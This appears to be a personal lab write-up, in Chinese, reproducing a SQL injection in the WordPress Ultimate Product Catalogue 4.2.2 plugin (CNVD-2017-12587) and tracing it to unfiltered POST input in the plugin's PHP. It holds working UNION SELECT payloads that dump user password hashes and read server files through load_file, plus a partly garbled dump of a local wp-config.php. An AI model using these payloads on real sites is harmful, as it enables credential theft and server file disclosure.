# CNVD-2017-12587(WordPress Ultimate Product Catalogue 4.2.2 插件SQL注入漏洞)
###### tags: `CVE` `wordpress`
環境:
win7
mamp (apache + mysql)
wordpress 創建一個一般使用者
漏洞插件:
WordPress Ultimate Product Catalogue 4.2.2
## 一些坑:
mysql.ini 加上 secure_file_priv=
詳細說明:
https://blog.51cto.com/u_15162069/2742169
```
[mysqld]
secure_file_priv=
```
### mysql load_file:
```mysql=
show global variables like '%secure%';
//測試
select load_file('D:/123.txt');
//有時打印不出來,需要轉成hex
//D:/123.txt => 443a2f3132332e747874
select load_file(0x443a2f3132332e747874);
```
### 安裝插件:記得用.zip檔案安裝
## POC
## url:
```
//需要在使用者登入狀態下使用
http://localhost/wp-admin/admin-ajax.php?action=get_upcp_subcategories
```
## post payload:
```
CatID=0 UNION SELECT user_login,user_pass FROM wp_users WHERE ID=1
CatID=0 UNION SELECT 1,user()
//印出:\Windows\System32\drivers\etc\hosts
//C:\Windows\System32\drivers\etc\hosts
//to hex
//433a5c57696e646f77735c53797374656d33325c647269766572735c6574635c686f737473
CatID=0 UNION SELECT 1,load_file(0x433a5c57696e646f77735c53797374656d33325c647269766572735c6574635c686f737473);
```
### 印出 wordpress\wp-config.php
前提是你需要知道絕對路徑:
ex:D:\123.txt
回傳的代碼需要自己排版一下
```
//方法同上
response:
<!--?php
/**
* WordPress基础配置文件。
*
* 这个文件被安装程序用于自动生成wp-config.php配置文件,
* 您可以不使用网站,您需要手动复制这个文件,
* 并重命名为“wp-config.php”,然后填入相关信息。
*
* 本文件包含以下配置选项:
*
* * MySQL设置
* * 密钥
* * 数据库表名前缀
* * ABSPATH
*
* @link https://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php
*
* @package WordPress
*/
// ** MySQL 设置 - 具体信息来自您正在使用的主机 ** //
/** WordPress数据库的名称 */
define('DB_NAME', 'wordpress');
/** MySQL数据库用户名 */
define('DB_USER', 'root');
/** MySQL数据库密码 */
define('DB_PASSWORD', 'root');
/** MySQL主机 */
define('DB_HOST', 'localhost');
/** 创建数据表时默认的文字编码 */
define('DB_CHARSET', 'utf8mb4');
/** 数据库整理类型。如不确定请勿更改 */
define('DB_COLLATE', '');
/**#@+
* 身份认证密钥与盐。
*
* 修改为任意独一无二的字串!
* 或者直接访问{@link https://api.wordpress.org/secret-key/1.1/salt/
* WordPress.org密钥生成服务}
* 任何修改都会导致所有cookies失效,所有用户将必须重新登录。
*
* @since 2.6.0
*/
define('AUTH_KEY', 'Q(-->Zqw%jyM&JAlE(DOqk3YfY/U4c=H=Ca,n:r>)U!V#6y[]fd@A9b]~zrye3:D7=');
define('SECURE_AUTH_KEY', '(C+3WwICt[<qqc7}))[crwg rrc_aiyxfjag:j.)yorge@by="" o?ah|%[uy{bkahh');="" define('logged_in_key',="" '{3rrjcrx2ok;gq8kzm;;e-x$93p6~bai_na-bo:y&bk|f2uzwhzw(&gq_lje^1&~');="" define('nonce_key',="" '="y}#.g7zSP1]b2`~cK.`_(Q@ZzGu">@vD#T2^{|ipp&I0reP_N-RWI)a5*^/^!k7&');
define('AUTH_SALT', 'I=HF^3_Oly6(HV8@RS7A,Oe7Vt)dMtnc.Lb;?T0e$:O;PJt4#SeD^?uxa1bs;@5E');
define('SECURE_AUTH_SALT', 'FxR/L]=][Y{I9)7p@[EP?`Qi}t~zY]i:`oV:H4`&]+nOk_FhFA}OSpM((hr4ho@E');
define('LOGGED_IN_SALT', '_m3]4zfmI8X%r.{Cx=jx<&1TMog|mk=VI9va!(qM)4|K:2yX}E-N$]gf8w@|ixCd');
define('NONCE_SALT', 'lrW}m#j0N+|An{:Hc]W%c0~}*v6x>sSg3wzwzP9$WvO7{E[0^)U+myD!#hu&C2]`');
/**#@-*/
/**
* WordPress数据表前缀。
*
* 如果您有在同一数据库内安装多个WordPress的需求,请为每个WordPress设置
* 不同的数据表前缀。前缀名只能为数字、字母加下划线。
*/
$table_prefix = 'wp_';
/**
* 开发者专用:WordPress调试模式。
*
* 将这个值改为true,WordPress将显示所有用于开发的提示。
* 强烈建议插件开发者在开发环境中启用WP_DEBUG。
*
* 要获取其他能用于调试的信息,请访问Codex。
*
* @link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', false);
/**
* zh_CN本地化设置:启用ICP备案号显示
*
* 可在设置→常规中修改。
* 如需禁用,请移除或注释掉本行。
*/
define('WP_ZH_CN_ICP_NUM', true);
/* 好了!请不要再继续编辑。请保存本文件。使用愉快! */
/** WordPress目录的绝对路径。 */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** 设置WordPress变量和包含文件。 */
require_once(ABSPATH . 'wp-settings.php');
0</qqc7}))[crwg></body>
```
總之 sql 注入可以弄很多東西。
## 分析
wp-content/plugins/ultimate-product-catalogue/Functions/Process_Ajax.php
```PHP=
function Get_UPCP_SubCategories() {
global $subcategories_table_name;
$Path = ABSPATH . 'wp-load.php';
include_once($Path);
global $wpdb;
$SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM $subcategories_table_name WHERE Category_ID=" . $_POST['CatID']);
foreach ($SubCategories as $SubCategory) {$Response_Array[] = $SubCategory->SubCategory_ID; $Response_Array[] = $SubCategory->SubCategory_Name;}
if (is_array($Response_Array)) {$Response = implode(",", $Response_Array);}
else {$Response = "";}
echo $Response;
}
```
$_POST['CatID'] 沒過濾
```SQL=
$SubCategories = $wpdb->get_results("SELECT SubCategory_ID, SubCategory_Name FROM $subcategories_table_name WHERE Category_ID=" . $_POST['CatID']);
```
這題太簡單了,輕鬆一下。